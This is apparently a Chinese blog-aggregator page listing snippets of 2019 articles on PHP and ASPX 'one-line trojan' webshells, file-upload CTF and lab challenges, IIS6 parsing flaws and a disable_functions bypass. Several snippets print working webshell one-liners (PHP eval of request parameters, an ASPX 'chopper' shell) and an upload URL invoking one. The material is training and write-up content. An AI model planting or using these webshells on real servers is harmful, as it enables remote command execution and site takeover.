目录 小马：一句话木马也成为小马<?php @eva($_REQUEST['cmd']);?>http://192.168.2.141/dvwa/hackable/uploads/test.php?cmd=phpinfo() ...
分类：
Web程序 时间：
2019-07-23 00:30:48
阅读次数：
193
题目地址：https://www.ichunqiu.com/battalion 创建题目，进入题目环境，看到 文件上传的题型，先试着随便上传一个文件1.txt 直接上传成功了！查看一下源码 看到上传在这个位置，那么接下来就在文件里加一句话木马，然后上传 然后用菜刀链接 但是报错了，好像把php给过滤 ...
分类：
其他好文 时间：
2019-07-07 14:37:36
阅读次数：
155
一： 关于PHP的一句话木马： 显示结果： 二： 关于PHP的一句话木马： 当POST参数_的值为空时： 当不为空时： 三： 使用REQUEST方法： 显示结果： GET型： POST型： ...
分类：
Web程序 时间：
2019-07-02 09:14:20
阅读次数：
185
题目简介： 背景介绍 在为某公司检测后台页面时，你发现了一个上传页面，该页面做了一些防护，你需要尝试绕过并上传webshell，以获得网站根目录访问权限 实训目标 1、熟悉常见中间件存在的解析漏洞；2、熟悉一句话木马的使用与制作3、熟悉常见的上传漏洞利用方法 解题方向 1、试探允许上传的文件类型2、 ...
分类：
Web程序 时间：
2019-06-27 16:15:16
阅读次数：
276
文件上传第一式（禁JS） （1）来到第一关，我们查看源代码： 上图可以发现，上传的限制代码块写在js函数内，因此我们可以考虑将js的开关禁掉，直接上传木马的方式，其实，似乎也可以不禁js，直接burp抓包后修改图片类型，一样可以上传成功。 （2）上传一句话木马.php <?php eval($_PO ...
分类：
Web程序 时间：
2019-05-25 12:48:46
阅读次数：
190
aspx木马收集： <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%> 随日期变化的连接密码, Asp.NET服务端写法： <%@ Page Language="Jscript"%><%eval(Reque ...
分类：
Web程序 时间：
2019-05-17 19:23:10
阅读次数：
656
首先找到这个熟悉的界面 点击确定的时候抓包， 这时候虽然我们并未提交，但是刚才上传的一句话木马其实已经传到服务器里了 Response返回包里查看 ...
分类：
Web程序 时间：
2019-05-17 16:38:06
阅读次数：
127
什么是一句话木马 一句话木马就是只需要一行代码的木马，短短一行代码，就能做到和大马相当的功能。为了绕过waf的检测，一句话木马出现了无数中变形，但本质是不变的：木马的函数执行了我们发送的命令。 我们如何发送命令，发送的命令如何执行？ 我们可以通过 GET、POST、COOKIE这三种方式向一个网站提 ...
分类：
Web程序 时间：
2019-05-05 23:19:30
阅读次数：
513
下面实例都是在墨者学院靶场做的，几种常见的上传姿势 1.结合iis5.x/6.0解析漏洞上传文件 先上传一个asp文件，抓包看看返回结果是什么 由上图我们可以知道服务器是iis6.0，接下来我们利用iis6.0解析漏洞来上传我们的一句话,添加一个asp目录 2.一句话木马图片 分析上图，先上传php ...
分类：
Web程序 时间：
2019-04-22 13:54:55
阅读次数：
153
这次TCTF中一道题，给出了一个PHP一句话木马，设置了open_basedir，disable_functions包含所有执行系统命令的函数，然后目标是运行根目录下的/readflag，目标很明确，即绕过disable_functions和open_basedir，当然我还是一如既往的菜，整场比赛 ...
分类：
其他好文 时间：
2019-03-29 00:40:20
阅读次数：
217
